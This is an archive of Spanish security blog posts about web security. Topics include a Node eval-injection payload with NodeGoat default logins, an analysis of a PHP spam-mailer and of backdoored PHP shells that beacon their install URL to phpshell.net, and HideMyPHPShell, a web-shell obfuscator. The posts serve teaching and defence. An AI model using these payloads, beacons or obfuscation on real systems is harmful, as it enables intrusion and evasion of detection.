Mostrando entradas con la etiqueta web. Mostrar todas las entradas
Mostrando entradas con la etiqueta web. Mostrar todas las entradas

04 agosto 2015

Revisando el Top 10, ¡ahora en Node!


Buenas, dejando por una vez la VoIP a un lado, hoy toca hablar de seguridad en Node (Node.js® / io.js). Con el implacable crecimiento de JavaScript en el lado del servidor cada vez es mayor el número de servicios que aprovechan las ventajas de este entorno. Especialmente los relacionados con la web (ej: Express, Hapi, etc), que además se están utilizando con éxito en producción atendiendo a millones de usuarios cada día.

Como suele ocurrir con las nuevas tecnologías el tema de la seguridad es más de “ya si tal”. Esto ocurre, entre otros motivos que todos conocemos, debido a los constantes cambios en la mayoría de las librerías e incluso algunos en el propio core. Así que los desarrolladores tenemos bastante con que nuestras aplicaciones no se rompan y, cuando es posible, en mejorar el rendimiento de las mismas.

A lo que vamos, en mi trabajo como programador, cuando tenía que securizar una aplicación de este tipo tocaba tirar de diapositivas de algunas conferencias, diversos posts, etc. Por este motivo empecé a pensar que era el momento de revisar como aplicarían las vulnerabilidades más comunes de la web en este entorno. En una primera investigación rápida para ver si existía algún proyecto relacionado al que poder contribuir me encontré con NodeGoat, una aplicación vulnerable que implementa el OWASP Top 10. El problema era que estaba sin actualizar, por lo que utilizaba una versión antigua de Express, perdiendo demasiadas mejoras introducidas con el tiempo. Por este mismo motivo fallaba la instalación de las mismas y era imposible ponerla en marcha. Así que me puse manos a la obra, tras una re-escritura de distintas partes y de que @ckarande (el autor) aceptase los cambios todo en orden otra vez. Simplemente tenéis que seguir los pasos del README para jugar con ella, incluso podéis desplegar de forma gratuita vuestra propia copia en Heroku con un par de clicks.

Login

Una vez instalada podemos acceder a la ruta "tutorial" (no hace falta estar logueado) y registrar un usuario o utilizar los credenciales por defecto:
  • "admin" / "Admin_123"
  • "user1" / "User1_123"
  • "user2" / "User2_123"

Tutorial
Panel administración 
Panel usuario

Podríamos repasar todas las vulnerabilidades que se explican en el tutorial pero me parece un poco sin sentido teniendo en cuenta que todos sabemos inglés. Así que vamos a comentar un par de ellas y el que tenga interés ya sabe, a probar y contribuir al proyecto ;). Por cierto, sé que es un poco coñazo tener el tutorial metido en la aplicación, pero tenemos en el Roadmap sacarlo a una carpeta de documentación en condiciones.

A1 - 1 Inyección en el lado del servidor

La típica inyección de JavaScript de toda la vida, pues eso mismo en un servidor en Node, os podéis imaginar ... Por suerte ya no es común encontrárselo por ahí. La explicación rápida es la de siempre también, no uses "eval" ni nada parecido ("setTimeout", "setInterval", "Function", etc). En este caso el problema es mayor aún, ya que el atacante podría inyectar JavaScript que modificase el comportamiento del servidor. Un caso muy sencillo sería "process.exit()" que lo pararía. Uno más divertido aún sería usar "while(1)", que mantendría el Event Loop de Node ocupado indefinidamente sin poder hacer nada más, como contestar a las peticiones de los usuarios. Un ejemplo de código vulnerable sería el siguiente:

var preTax = eval(req.body.preTax);

Corregirlo sería tan sencillo como evitar el uso de estas funciones conflictivas, por ejemplo:

var preTax = parseInt(req.body.preTax);

A continuación dejo el vídeo con una de las demo del tutorial, en donde se accede al sistema de ficheros del servidor utilizando este payload:

res.end(require('fs').readdirSync('..').toString());


Inyección: Acceso al sistema de archivos


A5 - Mala configuración de seguridad, A8 - CSRF

Express es la librería para hacer servicios web más utilizada, pero no es segura por defecto. Sí incluye algunos mecanismos que debemos configurar, pero no cubre todo lo que necesitamos. Las siguientes líneas, en orden, describen lo que se implementa a continuación.
  • Evitar el fingerprinting.
  • Cookies seguras: ID firmado y que solo se transmitan sobre HTTPS (doc.).
  • Middleware para evitar CSRF.
var csrfProtection = csrf({ cookie: true })

app.disable("x-powered-by");
app.use(express.session({
  secret: config.cookieSecret,
  key: "sessionId",
    httpOnly: true,
    cookie: {
      secure: true
    });
}

app.use(express.csrf());
app.get('/form', csrfProtection, function(req, res) {
  // pass the csrfToken to the view
})

Para suplir estas carencias existen otros "middlewares", principalmente disponemos de dos alternativas: Helmet y Lusca. Prefiero el primero simplemente por tener una mayor adopción, la idea y funcionamiento es muy similar.

// Prevents opening page in frame or iframe to protect from clickjacking
app.use(helmet.xframe());
// Prevents browser from caching and storing page
app.use(helmet.noCache());
// Allows loading resources only from white-listed domains
app.use(helmet.csp());
// Allows communication only on HTTPS
app.use(helmet.hsts());
// Forces browser to only use the Content-Type set in the response header instead of sniffing or guessing it
app.use(nosniff());

Antes de terminar me gustaría comentar que la imagen incluida al principio del post es el logo del Node Security Project, una iniciativa que tiene el objetivo de documentar las vulnerabilidades conocidas. Además ponen a nuestra disposición recursos y herramientas que nos ayudan a securizar nuestro código.

Esto es todo por hoy, en la próxima ocasión contaré como utilizar éstas y otras buenas prácticas que sigo en mis proyectos.

Artículo cortesía de Jesús Pérez
Leer más...

08 julio 2015

Congela tu web con SnapWeb y ¡disfruta del fin de semana!


Desde que la mayoría de las empresas piensan en un CMS a la hora de decidir cómo hacer su flamante nueva Web, debo reconocer que de forma casi directamente proporcional han aumentado mis dolores de cabeza: que si un módulo no actualizado había permitido “colar” un shell-remoto, que si habían modificado todos los .js del site, que si Google marca mi sitio como que contiene software malicioso, etc.

Estos nuevos “desafíos” hicieron que recordara una herramienta con la que tropecé hace ya algunos años y que me pareció genial. Dicha herramienta (Deep Freeze) permitía “congelar” todo el disco de tal forma que, cualquier cambio realizado en el equipo (instalación de software, infección de virus,  descargas, etc.), era eliminado automágicamente al reiniciar.  Con este antecedente, pensé en hacer algo parecido. Un sistema que fuera capaz de impedir cualquier cambio en cualquier archivo de mi Web, incluso impedir que se pudiera añadir/eliminar cualquier nuevo fichero/directorio, es decir, una especie de modo "Sólo lectura" para la Web que me permitiera pasar un fin de semana tranquilo y sin llamadas.

Una vez tenía clara la idea feliz, y el nombre: SnapWeb, pensé en realizar una copia del directorio web y, a través de una tarea cron, comprobar si se había realizado cualquier cambio y restaurarlo con la copia. Si bien este sistema funcionaba de forma correcta, tenía dos problemas fundamentales: 
  1. ¿Cada cuánto tiempo repito la tarea?
  2. El hecho de tener que comprobar TODO el sitio web cada vez; esto es un gran hándicap para los sites hechos con un CMS donde hay múltiples archivos y directorios. 
Con estas debilidades encontradas, recordé un proyecto que vi, allá por el 2010, que permitía analizar ficheros en tiempo real con clamAV + Inotify (También en SbD se han publicado varios post acerca de este asunto: Post 1 y Post 2). En este caso, la API inotify (disponible a partir de linux 2.6.13),  permitía iniciar el antivirus cuando se producía cualquier cambio en el sistema de archivos. 

Puesto que tenía claro que mi sistema iba a estar programado en BASH, busqué en alternativas que implementaran dicha API y que lanzaran mi script cuando se produjera algún evento sobre el directorio del site. 

De las distintas opciones que vi seleccioné incron. Éste programa es una mezcla de cron (programación de tareas) + inotify (detección de eventos en el sistema de archivos), lo que permite que se ejecuten tareas cada vez que se produce un evento sobre el directorio indicado. Una de los hándicaps que tiene incron es la NO recursividad, es decir, que en el fichero de configuración /etc/incron.conf debe contener cada uno de los directorios del site, además, cualquier nuevo directorio que se cree dentro del site debe ser dado de alta en el fichero de configuración.

Para solucionar el problema de la NO recursividad de incron, tenía claro que mi proyecto debía estar divido en dos scripts:
  1. snapweb.sh --> Encargado de, dado un directorio pasado como parámetro, dar de alta en el fichero de configuración de incron todos los subdirectorios (Así solucioné los problemas de recursividad). 
  2. jack.sh --> Será lanzado por incron cuando se produzca un evento. Dicho script recibirá el nombre del fichero afectado, su ruta y el evento en cuestión.
Pensé en hacer una especie de snapshot del directorio y monitorizar cualquier cambio posterior, denegando dichos cambios; después pensé que denegar siempre sería un poco radical, que lo ideal sería poder configurar varios tipos de bloqueo. Finalmente me decanté por esta segunda opción, con lo que en un fichero de configuración /etc/snapweb/snapweb.conf podremos decidir el tipo de bloqueo, existiendo un valor global que habilita el modo "freeze" del site: site_lock=1.

Está claro que esta solución no resuelve todas la vulnerabilidades que pueden explotarse en un CMS, pero sí permite cierta inmunidad a determinados exploits cuyo “modus operandi” está basado en la modificación de archivos (CryptoPHP), en la subida de Shells remotos o, incluso, en el uso de credenciales FTP robadas para distribuir malware. 

Actualmente una vez implementado correctamente ese “modo candado”, aquí os dejo un link a un vídeo con una prueba de concepto.



Estoy realizando varias mejoras:
  • Nuevos modos de "bloqueo":
    • Modo automático: Analiza en tiempo real cualquier cambio, categoriza dichos cambios y decide qué hacer.
      • Aceptar cambios y guardar réplica.
      • Denegar cambios y volver a réplica -> En este caso, para evitar los problemas que pudiera provocar un falso positivo, guardo copia del archivo en “cuarentena”
    • Modo semiautomático:
      • Si no se detectan indicios de malware, se acepta cambio, se actualiza réplica y se envía correo de notificación.
      • Si se detecta malware, por encima de un umbral, se rechazan los cambios y se notifica al administrador.
      • Si sólo hay indicios de malware pero no certeza, se envía correo al administrador para que éste decida qué hacer con dicha incidencia.
    • Modo candado: No permite ningún cambio en el site, descartando de forma automática cualquier cambio en el site (Nuevas carpetas/archivos, cambios en ficheros existentes, etc.)
  • Configuración del modo por site: Ahora los modos de bloqueo pueden indicarse por site, en vez de un único tipo de bloqueo para todos los sites albergados.
  • Exclusión de directorios a monitorizar.
  • Activación de modo "candado" por horario.
  • Administración y monitorización de snapweb vía App.
Espero acabar pronto con esta primera parte del proyecto, publicarlo en github y que esté disponible para todos aquellos que lo consideréis interesante.

Además aprovecho para indicaros que si tenéis cualquier duda, sugerencia o crítica,  estaré encantando de recibirlas... aunque con las críticas habilitaré el modo bloqueo  :P.

[+] Ruta GitHub para su descarga y prueba: https://github.com/wllop/snapweb


Artículo cortesía de Walter Llop -  wllop@esat.es - @wllop
Leer más...

25 junio 2013

Vega, herramienta para auditar websites



¿Estás cansado del sota-caballo-rey (Acunetix, ZAP, Burp) en el mundo de las auditorías web? Si es así, tal vez debas darle un vistazo a Vega, herramienta para realizar auditorias web con una interface bastante cuidada.

Si te animas a probar Vega y previamente has usado Acunetix, es imposible no encontrar muchas similitudes tanto en la filosofía como en la forma en la que están puestas las opciones.

Vega es una herramienta que permite realizar escaneos proactivos (búsqueda de vulnerabilidades, crawling ...) y además tiene -como no podría ser de otra forma- un proxy para interceptar y modificar peticiones.

Empezamos:

Como podemos ver, el 'wizard' nos pide que introduzcamos un sitio web


Ahora seleccionamos los módulos de búsqueda de vulnerabilidades, tenemos un montón de opciones para afinar al máximo el perfil de auditoría

 
Vega nos indica que podemos introducir una cookie de sesión para poder 'ver' mas allá de las partes no restringidas


Una vez terminado nos presenta un reporte con lo que ha encontrado:

C

Si queremos, podemos hacer uso del proxy para poder hacer peticiones más elaboradas a mano:


Lo bueno:
  • La interface es realmente limpia y agradable
  • Dispone de un montón de módulos de auditoría
  • El consumo de recursos es realmente bajo 
  • La herramienta es gratuita 
  • Es multi plataforma (Linux, Mac, Windows) 
Lo malo:
  • No tiene opciones de 'reporting' y no permite exportar ni a PDF ni en general a ningún formato
  • Los módulos no siempre van bien, en concreto he visto como algunos fallaban a la hora de localizar cosas relativamente obvias
Podéis descargar Vega desde este enlace
Leer más...

11 abril 2013

Análisis de intrusión y malware en PHP: Un caso práctico




Sucedió hace unas semanas. Recibo la llamada de un cliente preocupado, en la que me dice que algo raro está pasando en dos de sus servidores, que las colas de los procesos de correo se han vuelto locos y que están brutalmente sobrecargados. Se trata de una humilde empresa que da servicios de hosting web y correo a varios clientes a través de dos servidores alquilados. Me envía las credenciales de acceso a los mismos, tanto para SSH como para Plesk.

Una vez conectado a las máquinas, y tras comprobar que la carga de las mismas no es excesivamente elevada, descargo un kit de herramientas para diagnosticar el problema. Mediante unhide, rkhunter y chkrootkit, veo que el sistema no muestra procesos ocultos ni malware conocido. La ejecución de unhide-tcp así como un nmap remoto completo, me deja ver que no hay sockets ocultos aparentes (me parecería extraño que hubiese algún malware que exigiese port knocking previo para activarse/desactivarse, aunque la idea es bastante buena). Por otra parte, el tipo de empresa, y la de sus clientes, no me pareció que fuesen a ser el objetivo de ninguna organización ni gobierno que quiera robar secretos nucleares, por lo que no me hago a la idea que vaya a ser muy complejo el mecanismo por el que le están atizando.

Sin embargo, las colas de correo siguen incrementándose más y más. La sangre no ha debido llegar al río suficientemente, puesto que amispammer no indica que las direcciones IP de mi cliente hayan sido incluídas en alguna lista antispam. Los logs de diferentes servicios no arrojan excesiva información, excepto el de qmail, que no para de mostrar montones de intentos de conexión a servidores de AOL, a los que no puede enviar determinados mensajes por no ser válidos los buzones buscados. ¿Pero esto de AOL no se había muerto ya hace años? Sin embargo, con un simple "top" observo que se ejecuta frecuentemente un mismo cgi en php. No veo un aumento significativo de recursos cada vez que se ejecuta, pero por echarle un vistazo, nada pierdo, ¿verdad?

Pues touché… según edito el fichero, me encuentro con un script php en una única línea, que claramente han ofuscado. ¿Adivináis la ruta? Dentro de un directorio con plugins para joomla de uno de los dominios clientes de hosting. En concreto en /components/com_content/newso2p.php y /components/com_content/statgpZO.php, con idéntico contenido.

Probé a subirlo a virustotal, y oh sorpresa, aparecía referenciado por muy pocos antimalware. En concreto, los únicos que lo detectaban eran ClamAV, DrWeb, Sophos, Trendmicro y VBA32… 



Entre otras acciones, como borrar los ficheros en concreto, le propuse al cliente que actualizara Joomla y sus componentes, eliminara los plugins inútiles, etc, etc, dentro de lo que el panel de hosting le permite.

A partir de aquí caben dos preguntas. ¿Cómo ha llegado ese PHP ahí? ¿Y qué es lo que hace?

La primera de las preguntas parece de fácil respuesta: dado que el fichero tenía como dueño el usuario de Apache, y dado el lugar donde estaba, tiene toda la pinta que por alguna vulnerabilidad de Joomla! que permita escribir ficheros en sus directorios de plugins o componentes. 

¿Qué hace el "malware"?
Como indiqué más arriba, el código PHP está ofuscado y, en una sola línea, hace bastante incómoda su lectura:




Por no liarme a buscar el ofuscador utilizado para este script, usé mi manido Perl para dejarlo de una forma más legible. Me hice un script quick & dirty que me permitiese pre-procesarlo:

Con lo que me queda en out.php, la idea era identificar las diversas variables del fichero, y cambiarlas por un valor más sencillo de ver, como por ejemplo $a en vez de $v1cb251ec, f1 en vez de n9a2d8ce3 para los nombres de funciones, etc,… Aproveché a eliminar funciones que no eran llamadas nunca, que simplemente confundían más al análisis.

Así, el script PHP quedaría de esta manera:


Fundamentalmente, el atacante, simplemente tenía que hacer llamadas a este PHP, mediante el método HTTP POST y en el POST DATA enviaba en varios campos diferentes la información necesaria para construir los correos: origen, destino, subject y cuerpo.

Inicialmente, estos datos vienen codificados en Base64 y se descodifican en tiempo de ejecución. Por otra parte, se procesa en el código, una lista con las direcciones  de correo destino, que viene también en la llamada. Se establecen las cabeceras necesarias del correo y el propio bicho busca si hay servidor de correo en localhost. Si lo hay, lo usa, y si no lo hay resuelve él mismo los registros MX de los correos que recibirán el spam y les abre un socket al puerto 25, estableciendo una comunicación SMTP, enchufándoles el contenido con cabeceras del correo generado.

Conclusiones
  • Pese a no ser un troyano muy mediático, el script está suficientemente bien hecho para que llame poco la atención dentro del sistema. No consume muchos recursos, ya que envía correos según se le hacen llamadas desde fuera, y en una sola llamada puede generar la ejecución de muchos correos de spam a la vez.
  • Los logs que deja no son muchos, debido a que al ser con POST, no quedan datos almacenados por los parámetros que tendría si se hiciese mediante GET.
  • Además, si da algún error la llamada POST, tampoco deja rastro, puesto que lo primero que hace en su ejecución, es deshabilitar cualquier tipo de traza así: "@error_reporting(0); @ini_set('error_log', NULL); @ini_set('log_errors',0); "
  • En cualquier caso, y supongo que para evitar WAFs o algunos IPS que analicen las llamadas HTTP, codifica los parámetros en base64. De esta manera evitas la detección de los ingredientes necesarios para construir correos con spam en base a patrones.
  • En este caso, quien se quejaba, era el sistema de monitorización de procesos del hosting, en los que el administrador veía que las estadísticas de envío de correo no eran normales, para lo que estaban acostumbrados a ver. 
  • Es interesante que se comunica con el atacante (o con el bot que lo ejecuta) mediante códigos OK + el md5 de "1234567890" cuando es correcto y un código de estado + el md5 de "0987654321" cuando es incorrecto. 
  • Los logs generados por Qmail se dispararon también en tamaño y un tcpdump del puerto 25 era como ver pasar las letras de Matrix pero a alta velocidad.
Leer más...

06 septiembre 2011

HideMyPHPShell, ofuscador de código PHP

Son ya muy conocidas las clásicas shells escritas en PHP, que comúnmente se utilizan para aprovechar vulnerabilidades del tipo Arbitrary File Upload.

También pueden ser utilizadas para administrar ciertos aspectos en caso de que sólamente tengamos acceso vía web a nuestro servidor.

Es muy común que cuando un atacante consigue subir una shell a un servidor para comprometerlo, ofusque el código fuente de la misma para hacerla más difícil de detectar. De hecho, muchas de estas shells que se han encontrado "in the wild", cuentan con algún tipo de ofuscación.

La herramienta HideMyPHPShell, que os presentamos hoy, permite ofuscar código PHP de cualquier tipo, de una manera rápida, y con varios métodos diferentes.

HideMyPHPShell help
./hidemyphpshell.py method_number php_file
1 eval() base64
2 eval() gzip + base64

En su primera versión soporta ofuscación mediante Base64, o mediante compresión gzip con un grado de compresión aleatorio. La idea es, en un futuro, incluir más métodos, incluso utilizando algoritmos de cifrado más avanzados, aunque la clave esté en el propio fichero y se utilice en la rutina de descifrado.

Podemos ver un ejemplo de uso con PHPShell.

Si la descargamos y vemos el código fuente, es demasiado ruidoso:

$ head phpshell.php
<?php // -*- coding: utf-8 -*-


define('PHPSHELL_VERSION', '2.2');
/*


  **************************************************************
  *                     PHP Shell                              *
  **************************************************************


  PHP Shell is an interactive PHP script that will execute any command

En cambio, si la pasamos por el programa:

./hidemyphpshell.py 2 phpshell.php
Obfuscating phpshell.php with method 2 ...
Done, dumped to phpshell.php.obfuscated.php


cat phpshell.php.obfuscated.php
<?php eval(gzuncompress(base64_decode("eF7lXO1z20Zz/2zP+H84oaxJ2nyR7HSaSiL9KLL8WK0seyS5mYzscCAQFBGBAAOAovUkz//e3+7eHQ4gKTlOpv1QxxOTwN3e3t6+7x5fDfdfzadz1e+r7rOuCtJxlFzvqkUx6X5PT548fvJ4HE6iJGw1P7z9cP726ORk9N9HZ+fH70+bHdV80XvRbO89edx/RiOVevan/jAEte4P...

Además, al utilizar el segundo método compresión gzip, el tamaño del fichero PHP ha sido reducido de 20 KB a 9.1 KB.

Ya podéis descargar HideMyPHPShell (hidemyphpshell.py) desde el repositorio oficial de SbD.
Leer más...

23 marzo 2011

Nmap, esta vez desde la web

Nmap no es sólo un escáner de puertos, es una de las herramientas de seguridad y administración más potentes y populares que existen, y cuenta con una enorme comunidad de usuarios y desarrolladores.

Debido a la popularidad, versatilidad y potencia de la herramienta son varios los proyectos que la han llevado a la Web, haciéndola accesible a través de un navegador de forma remota.

En primer lugar tenemos algunos servicios que permiten escanear nuestra propia dirección IP, muy útiles para saber cómo nos ven desde fuera.

- Nmap Online: Uno de los más populares. Podemos lanzar escaneos predeterminados (Quick y Full) o personalizar uno, dentro de lo que nos permite el portal. Funciona realmente bien y es rápido. Actualmente versión 4.75 de nmap.

- Free Online-Portscanner: Parecido al anterior pero con opciones mucho más reducidas. Sólo un tipo de escaneo sin opción a modificaciones. Actualmente versión 3.77 de nmap.

- Self Audit My Server: Enfocado a trabajar con servidores web. Además de nmap lanza Whois, Nikto y SQLiX para auditar el servicio web. A diferencia de los anteriores, se puede lanzar contra otra IP o dominio que no sea el nuestro. Actualmente versión 5.00 de nmap y 2.03/2.04 de nikto. Podemos ver un ejemplo de escaneo a microsoft.com

Por otro lado tenemos proyectos que proporcionan el software para instalar el servicio en nuestra infraestructura.

- nmap-cgi: Muy completo, despliega un portal para realizar, guardar y administrar nuestros escaneos. Permite cuentas de usuario independientes, separar privilegios, escaneos avanzados de nmap, programar escaneos, etc ...


- Inprotect: Al igual que el anterior despliega una completa infraestructura para realizar y administrar escaneos. Destaca su generador de reportes y la cuidada interfaz.


- nmap-web: Si no nos interesa mucho la interfaz y queremos algo rápido de instalar y usable, nmap-web nos lo proporciona. Las opciones son reducidas y la interfaz es básica, pero cumple su función. Algunos ejemplos (1, 2, 3).
Leer más...

12 enero 2011

Wargame SbD I (english version)

With a little delay (pure marketing strategy...) we are pleased to announce that the First Wargame of Security By Default will start on 15/01/2011 at 00:00 GMT.

For this wargame, it will be possible to participate both individually and by groups.

The wargame categories will be the following:
  • Trivia
  • Networking
  • Binaries
  • Cryptography
  • Web
Each of the categories has three challenges, whose level increases attending last number of the challenge id, for example, cry03 is more complex than cry01.
Each level has a differente value (except trivia challenges, worthing all 100 points). 01 challenges are 100 points, 02 challenges 150 and 03 challenges 200. The first user solving one of the challenges will achieve  "bonus points", again depending of the level of the challenge in its category. For example, if you are the first solving bin02, you will get an extra 2 points, with a total of 152 points in total. Next one solving bin02, will sum only the 150 points.

Contacting with the organization: The easiest way is through our twitter account, using the hashtag #wgsbd. You can contact with us through our main e-mail address contacto@securitybydefault.com too.

Prize: First solving every challenges will win an Amazon 'gift card', with a price value of an iPad (thanks Panda Security)

Requirementes for the winner: In order to not see a person with challenges tokens achieved by infused knowledge, write-ups for every solved challenge SHOULD BE SUBMITTED to the organization, the solutions will be examinated and the organization will issue a veredict about them. If that tutorial is not enlightening, we will contact next user of the winners top.
Leer más...

Wargame SbD I (versión en castellano)

Después de algún que otro retraso / demora (pura estrategia de marketing ...) nos complace anunciar que el Primer Wargame de Security By Default empezará el 15-01-2011 a las 00 horas GMT.

En el Wargame puedes participar tanto individualmente como en grupo.

Las categorias del wargame son las siguientes:
  • Trivial
  • Networking
  • Binarios
  • Crypto
  • Web
Cada una de las categorías consta de 3 pruebas cuyo nivel aumenta en función del número de la prueba, es decir crypto03 es bastante mas compleja que crypto01.
Los niveles tienen puntuación diferente, el nivel uno de cada prueba vale 100, nivel dos 150 puntos, nivel tres 200 puntos. El primer acertante de cada prueba tiene un bonus de +1 +2 y +3 en cada nivel, es decir, si tu sacas bin02 el primero, tendrás una puntuación de 152 puntos, el siguiente que la saque 150

Formas de contacto: La mas fácil, cómoda y ágil es mediante Twitter interactuando con nuestra cuenta con el hashtag #wgsbd, la otra forma es por correo electrónico contacto@securitybydefault.com.

Premio: El ganador del Wargame ganará una 'gift card' de Amazon por valor de un iPad (cortesía de Panda Security)

Requisitos para el ganador: En aras de que no aparezca/n el típico Milly Vanily con los tokens de las pruebas a los que ha llegado por ósmosis, se PEDIRÁ como requisito INDISPENSABLE un tutorial / manual de como ha ido solucionando las pruebas, y si ese tutorial no resulta esclarecedor / válido o no convence, pasaremos al siguiente clasificado.

ACTUALIZACIÓN: Las pruebas de trivial valdrán todas 100 puntos.
Leer más...

28 agosto 2010

Montando nuestro propio proxy web

Seguro que todos hemos usado alguna vez un proxy a través de una web, caracterizados por ser cómodos y funcionar bien. Sin embargo muchas veces para poder usar el servicio plenamente hay que pasar por caja, además de que estamos haciendo uso de algo que nosotros no administramos, por lo que no sabemos si nos están monitorizando, ni qué datos se guardan. La solución a todo esto es montarnos nuestro propio proxy web, y lo podemos hacer programándolo nosotros mismos o usando alguno ya hecho.

PHProxy es un proxy web de código abierto escrito en PHP, y aunque el proyecto está inactivo desde 2007, han surgido otros proyectos que lo mantienen actualizado y lo han mejorado, al final de la entrada están los enlaces.

Tienen la ventaja de que se pueden montar en casi cualquier alojamiento que soporte PHP, incluidos los gratuitos. Una vez subido el funcionamiento es muy sencillo, y hay a nuestra disposición bastantes opciones de navegación y de ofuscación / codificación.



Además, si nuestro servidor admite HTTPS podemos cifrar el tráfico en ese tramo, lo que nos añade una capa de privacidad muy interesante.

Todos los proyectos son muy personalizables, y tienen más opciones que se pueden administrar de forma muy sencilla modificando el código fuente. Si quereis probarlo sin instalarlo, a poco que busqueis en google encontrareis varias páginas donde está disponible (muchas veces personalizado, y/o con publicidad).

Enlaces a los proyectos:
[+] PHProxy
[+] phpr0xy

Artículo por Alberto Ortega Llamas.
Leer más...

19 agosto 2010

Analizando cabeceras HTTP 'just for fun'

Para cualquier persona 'normal' navegar implica abrir un navegador, poner una URL y visualizar la web, lo que sucede entre el navegador y el servidor web para llegar a ese punto normalmente es una conversación HTTP orientada 'a maquinas'.

Aun así resulta curioso dedicar un rato a ojear en modo crudo el flujo del protocolo HTTP para descubrir cosas extrañas.

Primer caso: 'Cookies antediluvianas'

Ignoro el porqué de este tipo de cookies, pero como ya me las he encontrado en varios servidores, supongo que alguna razón de ser habrá, el caso es que ojeando por ejemplo la red social profesional www.linkedin.com nos encontramos con esta extraña cookie (click en la foto para ampliar):

s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970


Una cookie que lleva 'expirada' desde 1970

Otro caso de cookies caducadas http://es.yahoo.com


En este caso, del año pasado. Sin duda, alguna razón debe haber, tal vez sea un método de prueba del servidor web para validar que tienes activada la creación de cookies

Segundo caso: Una de Pareidolias

Este ejemplo está cogido con alfileres y sin duda es pura sugestión mental del 'querer ver'. El caso de www.bing.com que en su política P3P (una especie de información donde se indica el uso que se va a hacer de la información obtenida) se puede leer en el banner 'STA LOC CURA'


Tercer caso: El site de contactos y experimentos

Para el que no lo sepa, www.adultfriendfinder.com es un sitio web de contactos, donde 'Papa y Mama' buscan amiguitos mientras sus hijos montan orgías en Tuenti. En el caso de adultfriendfinder lo extraño que se puede ver es en el header ETAG. Si ojeamos la wikipedia podemos ver que ETAG se emplea para optimizar el uso de la cache de un site web, y sobre el header ETAG: 'is an opaque identifier assigned by a web server to a specific version of a resource' vamos que cada servidor web asigna el valor como quiere, lo normal es encontrarse números grandes o strings sin sentido, en el caso de adultfriendfinder nos encontramos como valor 'TESTBED'


Según la wikipedia un 'TESTBED' es un entorno controlado para hacer pruebas científicas reproducibles (is a platform for experimentation of large development projects. Testbeds allow for rigorous, transparent, and replicable testing of scientific theories, computational tools, and new technologies).

Cuarto caso: Headers para 'Hackers'

El caso mas obvio de modificación con intención de que alguien lo vea lo podemos encontrar en Wordpress.com, que añade el siguiente Header:
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.


Una curiosa y divertida forma de reclutar personal
Leer más...

04 agosto 2010

Quien roba a un ladrón...


Que duro es ser script-kiddie últimamente, y es que uno se lía con un servidor compartido de un colega de esos de 10€/mes y cuando te das cuenta estas buscando una imagen de un pinguino sacando cuernos a lo Metallica para ponérsela como página principal de su web.

Lo más normal tras conseguir acceso al servidor es colocar alguna puerta trasera que permita volver a entrar cuando uno quiera. Como por ejemplo las shells en php tan típicas en entornos LAMP. Entre las más populares y usadas: r57, c99, c100, mysqlshell, etcétera.

Si te ocurre como yo y no tienes a mano una de estas aplicaciones lo normal es buscarla en Internet para acabar en algún portal como phpshell.net, aunque te recomiendo que sigas leyendo hasta el final la entrada antes de usar alguna de ellas.



Por si acaso hay dudas, el código de estas shells esta ofuscado para que no se pueda leer directamente y tengas que pasarte tu rato si quieres hacer alguna modificación.

Tras el trabajo sucio, una de las líneas llama un script en javascript localizado en el servidor del que se ha descargado. Por ejemplo:

<script type="text/javascript">
document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063
\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070
\u0068\u0070\u0073\u0068\u0065\u006c\u006c\u002e\u006e\u0065\u0074\u002f\u0073
\u0068\u0061\u0064\u006f\u0077\u002f\u006b\u0061\u0079\u0064\u0065\u0074\u002e
\u006a\u0073\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')
</script>

O lo que es lo mismo:

<script src="http://www.phpshell.net/shadow/kaydet.js">
</script>

El pequeño javascript  mandará un GET a un php con la URL donde se ha instalado la shell, revelando donde ir para obtener el acceso al sistema.

a=new/**/Image();a.src='http://www.phpshell.net/shadow/kaydet.php?a='+escape(location.href);

Una petición de ejemplo de nuestro navegador sería la siguiente:


Lo mejor de todo es que esto no es un caso aislado, hay varias páginas que amablemente te permiten descargar las phpshells y tienen el mismo sistema montado, como: http://r57.gen.tr, http://saldiri.org, http://www.c99shell.com/, http://sh3llz.org/ y ... unas decenas más

Así que ojo amigo conductor, que lo mismo revelas donde has instalado tu backdoor.

Leer más...

14 abril 2010

Herramientas de auditoría web

De la mano del SANS, nos llega una recopilación de herramientas para realizar auditorías web.

En la lista, las hay desde el veterano y conceptualmente 'un poco' desfasado Nikto, hasta poderosas herramientas tipo Proxy como Burp que permiten hacer literalmente virguerías, sin olvidar el LiveCD Samurai WTF del que ya hablamos en su día.




Personalmente en esa lista echo de menos al gran Paros (que aun estando algo descontinuado, tiene cosas realmente buenas). También echo a faltar muchas de las extensiones para FF que nombramos aquí

A ver si saco tiempo para probar las que no conozco de la lista
Leer más...

28 febrero 2009

Navegadores: Safari 4

Apple vuelve a la carga. Ha presentado su antiguo navegador pero en nueva generación: Safari 4. Entre otras novedades estéticas, se incluyen mejoras de rendimiento y por supuesto de seguridad.

Para mejorar el performance de la interpretación de algunas páginas web visitadas, han incorporado un nuevo motor Javascript (habrá que ver las nuevas vulnerabilidades que incorpora también :-D ).

Respecto a las nuevas características de seguridad, cabe destacar la inclusión de mecanismos de protección anti-phising y anti-malware mediante un servicio de blacklisting dinámico; la "navegación privada" (que protege los datos de usuario al navegar desde ordenadores públicos no guardando ni cacheando información personal); integración con un antivirus (imagino que únicamente para su versión Windows, puesto que en Mac hay poquitos virus y antivirus),así como otras características típicas de otros navegadores (protección de pop-ups, borrado de caché, de cookies,...)

Quien quiera ver todas las mejoras (sobre todo de look & feel e integración con Windows) puede hacerlo en la propia página web de Apple. Si se quiere ver todas las características de Safari 4 se puede ver aquí
Leer más...

14 febrero 2009

El informe del CIS

Desde el fabuloso blog de WonkaPistas se revela el estudio del CIS con la estimación de voto antes de que este sea emitido oficialmente.

Para realizar este hallazgo el autor predijo una URL en base a un patrón común. En la web del CIS la información se localiza mediante un identificador numérico consecutivo. De esta forma la primera noticia sería del tipo "Documentacion_1.htm", la segunda "Documentacion_2.htm" y así sucesivamente. Estos archivos una vez comprendida la lógica de la aplicación son sencillamente deducibles

